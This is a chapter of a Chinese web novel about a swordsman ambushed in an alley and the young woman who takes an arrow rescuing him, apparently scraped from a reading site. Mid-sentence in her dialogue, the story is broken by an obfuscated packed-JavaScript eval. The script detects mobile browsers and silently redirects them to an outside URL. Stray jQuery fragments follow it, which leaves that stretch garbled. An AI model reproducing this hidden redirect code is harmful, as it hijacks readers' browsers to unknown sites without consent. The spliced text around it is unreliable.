27. 中箭

作品:《背刺我之后世子成舔狗了

    萧寒声是故意丢下崔令容的。


    他注意到街角昏暗处躲着个刀疤男,那人脸上涂着厚重的黄粉,眉眼却透着一股刻意的警惕,正一眨不眨地盯着他们这边。


    易容的手法粗糙,瞒不过他的眼,此人十有八九就是崔令容要找的老谷。


    他没惊动身前的少女,只在崔令容背过身气鼓鼓说话的瞬间,指尖悄然握住了腰间的短刀,足下无声,像一道影子般滑入了侧巷。


    老谷显然也察觉到了危险,待他的身影一动,拼了命似的朝不远处的湖边狂奔。


    萧寒声紧追不舍,足尖点过青石板路,眼看距离越缩越近,他手腕一翻,袖中暗箭已蓄势待发。


    就在这时,一个身影猛地从旁侧撞了过来,一只手重重搭在他的肩上,暗箭“嗖”地射偏在墙面上。


    “萧寒声,真的是你!”


    吊儿郎当的声音响起,江厂嘴里叼着根青草,满是震惊。


    萧寒声眼睁睁看着老谷“扑通”一声跳进湖里,水面泛起几圈涟漪后便没了踪迹,心头火气瞬间涌了上来。


    他一把甩开江厂的手,语气冰冷:“你坏了我的好事。”


    江厂悻悻地收回手,脸上那点惊讶褪去,又换上惯常的散漫:“许久未见,打个招呼罢了,我怎知你在出任务?”


    “我和你之间,还没熟到需要刻意打招呼的地步。”萧寒声懒得与他多言,丢下这句话便转身离开。


    江厂望着他的背影,眼底的漫不经心瞬间被阴鸷取代。


    他与萧寒声同属临星阁,阁内向来以实力论高低,彼此间明争暗斗从未停歇,谁都想踩着别人往上爬,而萧寒声便是他最碍眼的那块绊脚石。


    从前数次任务,他都在暗中使绊子,偏这人总能化险为夷。


    “看你还能嚣张到几时。”江厂咬碎了嘴里的草根。


    身后的阴影里,其余几名蒙面人悄无声息地走了出来,其中一人低声问道:“江哥,他当真是我们要找的平南王府世子?”


    江厂冷笑一声,目光追着萧寒声的方向,指尖在掌心缓缓摩挲:“画像上的人,是他无疑了。”


    江厂从身后黑蒙面人的手中接过弓箭,指腹迅速勾住弓弦,箭矢如寒星般离弦,破风的锐响在夜色里骤然炸开。


    可萧寒声早有防备,足尖在青石板上一点,身形如惊鸿般侧掠,巧妙躲过。


    巷子两头已被蒙面刀客死死堵住,屋檐上亦有黑影蛰伏,寒光闪烁的兵刃在暗处若隐若现,分明是布下了绝杀之局。


    萧寒声反手抽出腰间横刀,冷眸扫过围堵之人,沉声道:“江厂,临星阁的规矩你忘了?”


    他清楚这些人并非阁中所属,显然是江厂外聘的帮手。而临星阁素有铁律:同阁之人可争可斗,却绝不能动杀手。


    江厂忽然仰头大笑,笑声里满是狠戾:“规矩?我今日杀的不是临星阁刀客萧寒声,而是平南王府世子萧寒声!”


    他指尖摩挲着弓身,眼底闪着贪婪的光,“前几日接了桩大单,原以为只是同名,直到见了画像才知,原来要取的,竟是你的项上人头!”


    他朝围堵的黑衣人抬了抬下巴,语气越发阴狠:“这些人,都是其他阁中的高手,今夜,你别想逃!”


    萧寒声握着刀柄的手紧了紧,刀刃映着他眼底的冷光。


    蒙面刀客如饿狼般扑来,刀锋裹挟着劲风直逼他的面门。


    他旋身避开,短刀在掌心一转,刀背重重磕在对方手腕上,只听“当啷”一声,那人兵刃脱手。


    脚尖勾起身旁掉落的短匕,反手掷出,正中一名屋檐下杀手的脚踝,那人闷哼着摔下房梁。


    江厂见状,拉弓搭箭,箭矢不断朝着萧寒声射来,逼得他不得不分神躲避。


    可身后又有寒光袭来,萧寒声侧身格挡的瞬间,左侧的弯刀已划破他的衣袖,锐刃擦着皮肉划过,鲜血顿时浸透了黑色衣料。


    巷子里兵刃碰撞的脆响、皮肉相接的闷哼此起彼伏。


    萧寒声以一敌十,横刀舞得密不透风,这些外聘杀手配合默契,再加上江厂在旁牵制,他渐渐从游刃有余落至下风,只能靠着多年的厮杀经验勉强周旋。


    “萧寒声,你撑不了多久!”江厂又射出一箭,见他险之又险地躲过,冷笑出声,“今日这巷子,就是你的葬身之地!”


    萧寒声咬紧牙关,擦去唇角的血迹,那双眼在夜里亮的惊人。


    *


    崔令容坐在巷口的青石板上,手肘撑着膝盖,手掌轻轻托着下颌,目光一瞬不瞬地望着来路。


    夜风卷着枯黄的落叶,在她脚边打了个旋儿,又轻飘飘地滚向暗处,只余下满耳的风声,衬得周遭愈发安静。


    忽然,一阵急促的脚步声撞碎了沉寂。


    一个妇人抱着孩子,发髻散乱,脸色惨白地从街角狂奔而来,嘴里还不住地颤抖着念叨:“杀人了!巷子里杀人了!”


    崔令容心头一紧,猛地站起身,快步上前一把抓住妇人的手腕,声音带着几分急切:“大嫂,出什么事了?哪里杀人了?”


    妇人被她拽住,喘得几乎说不出话,额头上的冷汗顺着脸颊往下淌,嘴唇哆嗦着:“就、就是前面的窄巷……好多、好多黑衣人,围着一个男的打……看着要出人命了!”


    这话像惊雷般炸在崔令容耳边,小院那夜火光冲天、黑衣人持刀围堵的场景瞬间涌上心头。


    她心头一紧,立刻摸出腰间的碎银子塞进妇人手里,语速极快地叮嘱:“大嫂,你现在立刻去徐府旁边的小院,找一个叫墨影的人,让他带着人马上过来,务必要快!”


    妇人攥着银子,见她神色焦急,忙不迭点头。崔令容不再多言,提起裙摆,不顾裙角被夜风掀起,朝着妇人指的巷口方向拔腿就跑。


    巷口的纠缠愈烈,萧寒声臂上的血顺着刀刃往下滴,在青石板上溅出点点暗红。


    蒙面刀客们瞅准他分神的间隙,弯刀直劈他受伤的左臂,他忍痛旋身,短刀堪堪架住对方兵刃,却被那股蛮力震得虎口发麻,踉跄着退了两步。


    他知道不能再被动防守,突然矮身,短刀贴着地面扫出,直削前方两人的脚踝,趁着他们踉跄的空隙,纵身跃起,踩着墙根借力,朝着巷口的缺口冲去。


    江厂见状,立刻拉满弓弦,箭矢直指他的后心:“想跑?”箭尖破风而来,萧寒声猛地回身,用短刀硬生生格挡,“当”的一声脆响,箭矢被劈成两半,可他也被震得手臂剧痛,横刀直接脱手。


    就在这时,一阵急促的马蹄声从远处奔来。


    夜风卷着碎云掠过夜空,月光忽而破云而出,洒在巷口疾驰而来的马背上。


    崔令容一身青衣被风掀起,如振翅欲飞的蝶,发丝凌乱地贴在她汗湿的鬓角。


    马蹄踏过青石板,溅起尘埃,她俯身向前,朝萧寒声伸手。


    衣袂翻飞间,那张被月光照亮的脸,褪去了平日的俏丽,只剩眼底燃着的急切与坚韧,像暗夜里骤然亮起的一点星火,直直撞进萧寒声的眼底。


    “上马!”她声音裹在风里,带着一丝不易察觉的颤抖,却格外有力。


    萧寒声足尖点地,借着她伸出的手纵身跃起,稳稳落在马后,手臂下意识环住她的腰。


    身后江厂的箭已如索命符般射来,萧寒声横刀已失,眼看冷箭直奔心口,崔令容却突然猛地转身,将他挡在身侧。


    “噗”的一声闷响,箭尖狠狠刺入她的肩膀,鲜血瞬间染红了青色衣襟,顺着衣摆滴落,砸在马背上。


    她疼得浑身一颤,却仍咬着牙,靠在他身前,气息微弱却带着笑意。


    “肖大哥,这回终于是我护着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308453|180835||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你了。”


    萧寒声抱着她的手臂瞬间收紧,眼底翻涌的怒意几乎要将他吞噬。


    恰在此刻,墨影及时带人赶到,长枪破空而至,他稳稳接在手中。


    他垂眸看着怀中脸色发白、强忍痛意的少女,再抬眼望向巷子深处的江厂,眼底瞬间漫上猩红。


    手中长枪猛地拎起,手臂骤然发力,长枪带着雷霆之势射出,风声呼啸间,精准地穿透江厂的肩胛,将他整个人狠狠钉在身后的石墙上。


    江厂惨叫一声,鲜血顺着枪杆汩汩流下,身体挣扎着却动弹不得。


    “墨影,不要恋战!”萧寒声低头看着怀中脸色惨白的崔令容,声音因克制而沙哑,“她受伤了,速去找大夫!”


    墨影立刻带人上前,拔出长枪,一面抵挡剩余的黑衣人,一面掩护萧寒声策马离去。


    马蹄声渐远,只余江厂顺着墙壁滑落,痛苦的呻吟在寂静中低低回荡。


    *


    萧寒声浑身浴血,紧抱着脸色惨白的崔令容踏入小院,少女唇间断续溢出“娘亲、我疼……”的碎语,脆弱模样揪得人心头发紧。


    他动作轻得怕碰碎她,将人小心放于榻上,未等片刻,墨影已带着女医匆匆赶到。


    大夫刚掀开门帘,目光撞上榻边静坐的萧寒声。


    他玄色衣袍染满暗红血渍,眉骨下一道血痕未拭,周身冷沉的气场让她下意识攥紧了药箱带,脚步顿在原地。


    萧寒声抬眼,眸底寒色让人心头发紧。


    “她肩胛中箭,入肉一寸,箭镞无毒,但不知为何意识混乱。”他顿了顿,语气强硬,“我要她活着。”


    老妇喉结滚了滚,强压下腿软的冲动,挥手道:“你们先出去,堵在这妨碍我救人。”


    萧寒声被墨影拉到屏风外,屏风却挡不住里屋的动静。


    不过片刻,崔令容的痛呼响起,声音撕心裂肺,像是连骨头都在疼。


    萧寒声猛地攥紧拳,指节泛白,抬脚就要冲进去,墨影急忙死死拽住他的胳膊:“世子!大夫在取箭,您进去反而添乱!”


    屏风内的痛呼断断续续,萧寒声立在原地,后背绷得像张拉满的弓,连呼吸都带着沉郁的焦灼。


    院外风更大了,刮得窗棂“吱呀”作响,油灯的光在屏风上晃,将他的影子拉得又长又冷。


    半个时辰后,终于静了。


    大夫掀帘出来,额角的汗顺着皱纹往下淌,她摘了沾血的帕子,喘着气道:“箭取出来了,也敷了止血的药,好在没伤着脏腑,接下来半个月别碰水、别动气,慢慢养着就好。”


    说罢,又替萧寒声包扎好伤口,才跟着墨影推门离开。


    屋内只剩一盏油灯亮着,豆大的光照着少女苍白的脸,她眉头仍紧紧蹙着,睫毛上还沾着未干的泪。


    萧寒声坐在榻边,伸手替她掖了掖滑落的被褥,他垂眸看了半晌,缓缓抬起手,指腹悬在她眉前,似想替她抚平那抹褶皱,却又在即将碰到时,轻轻收了回去。


    “世子。”


    墨影的声音从门外传来,他推门进来,见萧寒声这副模样,沉默片刻,缓缓开口道,“崔小姐,实在重情重义之人啊。”


    纵使他不愿意承认,纵使他对崔令容偏见颇多,认为她耽误了世子回京的进度。


    可这些日子的相处下来,他明显能感觉到崔令容对他家世子的真诚与善意。


    甚至他有些时候夹枪带棒的话,她也不曾放在心中。


    萧寒声没说话,只是垂眸看着榻上的人,油灯的光映在他眼底,少了几分平日的冷厉。


    过了好一会儿,他才轻声道:“这里我守着,你去歇着吧。”


    墨影应声退下,关门的轻响过后,屋内彻底静了。只有油灯偶尔“噼啪”一声,将两人的影子,轻轻映在斑驳的墙面上。